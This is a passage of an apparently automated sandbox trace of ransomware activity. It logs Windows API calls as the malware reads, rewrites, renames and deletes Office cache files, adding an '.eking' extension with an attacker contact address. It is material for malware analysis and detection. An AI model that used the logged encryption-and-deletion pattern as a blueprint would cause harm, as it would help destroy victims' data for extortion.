users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0202.383] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0202.383] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0202.384] ReadFile (in: hFile=0x1bc, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0202.395] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0202.395] ReadFile (in: hFile=0x1bc, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0202.404] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0202.404] ReadFile (in: hFile=0x1bc, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0202.641] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0202.641] WriteFile (in: hFile=0x1bc, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0102, lpOverlapped=0x0) returned 1 [0202.667] SetEndOfFile (hFile=0x1bc) returned 1 [0202.667] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0202.667] WriteFile (in: hFile=0x1bc, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0202.670] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0202.670] WriteFile (in: hFile=0x1bc, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0202.673] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0202.673] WriteFile (in: hFile=0x1bc, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0202.674] FlushFileBuffers (hFile=0x1bc) returned 1 [0204.364] CloseHandle (hObject=0x1bc) returned 1 [0205.992] SetEvent (hEvent=0xe0) returned 1 [0205.993] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0205.994] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=881152) returned 1 [0205.994] CloseHandle (hObject=0x1bc) returned 1 [0205.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0205.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0205.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0205.994] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0205.994] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0205.994] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0205.995] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0206.206] ReadFile (in: hFile=0x1bc, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0xd7200, lpOverlapped=0x0) returned 1 [0206.228] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xd7210, lpOverlapped=0x0) returned 1 [0206.385] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0206.385] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0206.385] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0206.385] WriteFile (in: hFile=0x1bc, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xd7200, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0xd7200, lpOverlapped=0x0) returned 1 [0206.389] FlushFileBuffers (hFile=0x1bc) returned 1 [0206.752] FlushFileBuffers (hFile=0x1a8) returned 1 [0206.904] CloseHandle (hObject=0x1bc) returned 1 [0206.911] CloseHandle (hObject=0x1a8) returned 1 [0206.921] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0206.929] SetEvent (hEvent=0xe0) returned 1 [0206.929] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0206.934] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=21064532) returned 1 [0206.934] CloseHandle (hObject=0x1a8) returned 1 [0206.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0206.934] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0206.935] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0206.935] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0206.935] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0206.936] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0206.941] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0206.941] ReadFile (in: hFile=0x1a8, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0206.949] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0206.949] ReadFile (in: hFile=0x1a8, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0206.968] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0206.968] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0102, lpOverlapped=0x0) returned 1 [0206.986] SetEndOfFile (hFile=0x1a8) returned 1 [0206.987] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0206.987] WriteFile (in: hFile=0x1a8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0206.989] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0206.989] WriteFile (in: hFile=0x1a8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0207.024] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0207.024] WriteFile (in: hFile=0x1a8, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0207.025] FlushFileBuffers (hFile=0x1a8) returned 1 [0208.146] CloseHandle (hObject=0x1a8) returned 1 [0209.980] SetEvent (hEvent=0xe0) returned 1 [0210.003] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0210.004] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=811) returned 1 [0210.004] CloseHandle (hObject=0x1a8) returned 1 [0210.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0210.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0210.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0210.004] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0210.004] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0210.004] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0210.004] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a4 [0210.005] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x32b, lpOverlapped=0x0) returned 1 [0210.010] WriteFile (in: hFile=0x1a4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x330, lpOverlapped=0x0) returned 1 [0210.011] WriteFile (in: hFile=0x1a4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0210.012] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0210.012] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0210.012] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x32b, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x32b, lpOverlapped=0x0) returned 1 [0210.012] FlushFileBuffers (hFile=0x1a8) returned 1 [0210.332] FlushFileBuffers (hFile=0x1a4) returned 1 [0210.661] CloseHandle (hObject=0x1a8) returned 1 [0210.662] CloseHandle (hObject=0x1a4) returned 1 [0210.662] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0210.663] SetEvent (hEvent=0xe0) returned 1 [0210.664] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0210.664] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1383) returned 1 [0210.664] CloseHandle (hObject=0x1a4) returned 1 [0210.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0210.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0210.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0210.665] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0210.665] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0210.665] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0210.665] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0210.666] ReadFile (in: hFile=0x1a4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x567, lpOverlapped=0x0) returned 1 [0210.707] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x570, lpOverlapped=0x0) returned 1 [0210.708] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0210.708] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0210.709] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0210.709] WriteFile (in: hFile=0x1a4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x567, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x567, lpOverlapped=0x0) returned 1 [0210.709] FlushFileBuffers (hFile=0x1a4) returned 1 [0211.053] FlushFileBuffers (hFile=0x1a8) returned 1 [0211.160] CloseHandle (hObject=0x1a4) returned 1 [0211.161] CloseHandle (hObject=0x1a8) returned 1 [0211.161] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0211.162] SetEvent (hEvent=0xe0) returned 1 [0211.163] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0211.163] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2362) returned 1 [0211.163] CloseHandle (hObject=0x1a8) returned 1 [0211.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0211.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0211.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0211.164] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0211.164] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0211.164] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0211.164] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a4 [0211.164] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x93a, lpOverlapped=0x0) returned 1 [0211.240] WriteFile (in: hFile=0x1a4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x940, lpOverlapped=0x0) returned 1 [0211.241] WriteFile (in: hFile=0x1a4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, 